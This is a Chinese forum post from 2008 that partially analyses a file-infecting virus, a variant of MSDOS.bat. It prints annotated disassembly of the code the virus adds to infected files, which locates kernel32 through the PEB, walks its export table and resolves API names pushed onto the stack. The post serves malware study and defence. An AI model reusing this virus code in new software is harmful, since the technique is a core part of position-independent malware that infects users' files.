upside
反病毒 反詐騙 反虐犬
|
分享:
x0
|
[資訊教學] 感染型病毒不完全分析實例(MSDOS.bat新變種)
感染型病毒不完全分析實例(MSDOS.bat新變種) 性質:感染型病毒,MSDOS.bat變種,但是其中的病毒主體加了一個殼。 工具:IDA Pro.,OllyDbg(看雪版OllyICE),LordPE,ImportREC 分析內容:被感染文件中病毒代碼分析、病毒主體文件所加殼的脫殼過程。
一、被感染文件中病毒代碼分析 被感染文件最後的一個區段被改名爲.WYCao段,在後面加入病毒代碼內容,改入口點指向此段中。以下爲IDA中的反彙編結果,我已經盡量注釋清楚。
(1)從PEB得到kernel32.dll基址,遍曆其輸出表,得到GetProcAddress和LoadLibraryA兩個API函數的地址。
.WYCao:01010F10 mov eax, large fs:30h ; PEB .WYCao:01010F16 nop .WYCao:01010F17 nop .WYCao:01010F18 nop .WYCao:01010F19 nop .WYCao:01010F1A mov eax, [eax+0Ch] ; PEB.Ldr(PTR _PEB_LDR_DATA) .WYCao:01010F1D mov esi, [eax+1Ch] ; Ldr->InInitializationOrderModuleList.Flink .WYCao:01010F1D ; 一個雙向鏈表,鏈表該位置的Flink恰指向kernel32.dll的相應結構中 .WYCao:01010F20 lodsd .WYCao:01010F21 mov edi, [eax+8] ; kernel32.dll的_PEB_LDR_DATA結構中的EntryInProgress,模塊基址 .WYCao:01010F24 mov eax, [edi+IMAGE_DOS_HEADER.e_lfanew] ; PE頭偏移 .WYCao:01010F27 mov edx, [edi+eax+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory.VirtualAddress] ; 輸出表偏移 .WYCao:01010F2B add edx, edi .WYCao:01010F2D mov ecx, [edx+_IMAGE_EXPORT_DIRECTORY.NumberOfNames] ; 以函數名調用的函數個數 .WYCao:01010F30 mov ebx, [edx+_IMAGE_EXPORT_DIRECTORY.AddressOfNames] ; 保存所有函數名的數組偏移 .WYCao:01010F33 add ebx, edi .WYCao:01010F35 .WYCao:01010F35 findbegin: ; CODE XREF: start+41 j .WYCao:01010F35 ; start+49 j ... .WYCao:01010F35 dec ecx .WYCao:01010F36 jz short findend .WYCao:01010F38 mov esi, [ebx+ecx*4] .WYCao:01010F3B add esi, edi .WYCao:01010F3D cmp dword ptr [esi+4], 41636F72h ; 'rocA' .WYCao:01010F44 jnz short findnext .WYCao:01010F46 .WYCao:01010F46 GetAddressByNumber: ; CODE XREF: start+52 j .WYCao:01010F46 mov eax, [edx+_IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] ; 保存所有函數地址偏移的數組 .WYCao:01010F49 add eax, edi .WYCao:01010F4B mov eax, [eax+ecx*4] ; 從AddressOfFunctions數組中根據當前序號值,得到API函數地址偏移 .WYCao:01010F4E add eax, edi .WYCao:01010F50 push eax .WYCao:01010F51 jmp short findbegin .WYCao:01010F53 ; --------------------------------------------------------------------------- .WYCao:01010F53 .WYCao:01010F53 findnext: ; CODE XREF: start+34 j .WYCao:01010F53 cmp dword ptr [esi], 64616F4Ch ; 'Load' .WYCao:01010F59 jnz short findbegin .WYCao:01010F5B cmp dword ptr [esi+8], 41797261h ; 'aryA' .WYCao:01010F62 jz short GetAddressByNumber .WYCao:01010F64 jmp short findbegin .WYCao:01010F66 ; --------------------------------------------------------------------------- .WYCao:01010F66 .WYCao:01010F66 findend: ; CODE XREF: start+26 j .WYCao:01010F66 pop ebx ; 遍曆kernel32.dll輸出表結束。此次堆棧 .WYCao:01010F66 ; [esp]==kernel32.dll!GetProcAddress .WYCao:01010F66 ; [esp+4]==kernel32.dll!LoadLibraryA .WYCao:01010F66 ; .WYCao:01010F66 ; 因此,pop的結果:ebx=GetProcAddress .WYCao:01010F67 pop edx ; edx=LoadLibraryA .WYCao:01010F68 sub esp, 48h .WYCao:01010F6B mov ebp, esp .WYCao:01010F6D mov [ebp+4], ebx ; GetProcAddress .WYCao:01010F70 mov [ebp+8], edx ; LoadLibraryA (2)調用LoadLibraryA和GetProcAddress函數,得到所需的API函數的地址:
.WYCao:01010F73 push 0 ; 結束符 .WYCao:01010F75 push 6C6C642Eh ; .dll .WYCao:01010F7A push 32336C65h ; 'el32' .WYCao:01010F7F push 6E72656Bh ; 'kern' .WYCao:01010F84 mov ecx, esp .WYCao:01010F86 push ecx .WYCao:01010F87 call dword ptr [ebp+8] ; LoadLibraryA('kernel32.dll') .WYCao:01010F8A pop ecx ; 前面4個push,這裏4個pop,保持堆棧平衡 .WYCao:01010F8B pop ecx .WYCao:01010F8C pop ecx .WYCao:01010F8D pop ecx .WYCao:01010F8E mov [ebp+0Ch], eax ; kernel32.dll基址(句柄) .WYCao:01010F91 push 0 .WYCao:01010F93 push 4179726Fh ; 'oryA' .WYCao:01010F98 push 74636572h ; 'rect' .WYCao:01010F9D push 69447377h ; 'wsDi' .WYCao:01010FA2 push 6F646E69h ; 'indo' .WYCao:01010FA7 push 57746547h ; 'GetW' .WYCao:01010FAC mov ecx, esp .WYCao:01010FAE push ecx .WYCao:01010FAF push dword ptr [ebp+0Ch] ; kernel32.dll基址 .WYCao:01010FB2 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GetWindowsDirectoryA') WYCao:01010FB5 pop ecx .WYCao:01010FB6 pop ecx .WYCao:01010FB7 pop ecx .WYCao:01010FB8 pop ecx .WYCao:01010FB9 pop ecx .WYCao:01010FBA pop ecx .WYCao:01010FBB mov [ebp+10h], eax ; kernel32.dll!GetWindowsDirectoryA .WYCao:01010FBE push 41656Ch .WYCao:01010FC3 push 69466574h .WYCao:01010FC8 push 61657243h .WYCao:01010FCD mov ecx, esp .WYCao:01010FCF push ecx .WYCao:01010FD0 push dword ptr [ebp+0Ch] .WYCao:01010FD3 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CreateFileA') .WYCao:01010FD6 pop ecx .WYCao:01010FD7 pop ecx .WYCao:01010FD8 pop ecx .WYCao:01010FD9 mov [ebp+14h], eax ; kernel32.dll!CreateFileA .WYCao:01010FDC push 656C64h .WYCao:01010FE1 push 6E614865h .WYCao:01010FE6 push 736F6C43h .WYCao:01010FEB mov ecx, esp .WYCao:01010FED push ecx .WYCao:01010FEE push dword ptr [ebp+0Ch] .WYCao:01010FF1 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CloseHandle') .WYCao:01010FF4 pop ecx .WYCao:01010FF5 pop ecx .WYCao:01010FF6 pop ecx .WYCao:01010FF7 mov [ebp+18h], eax ; kernel32.dll!CloseHandle
[ 此文章被upside在2008-09-04 02:10重新編輯 ]
|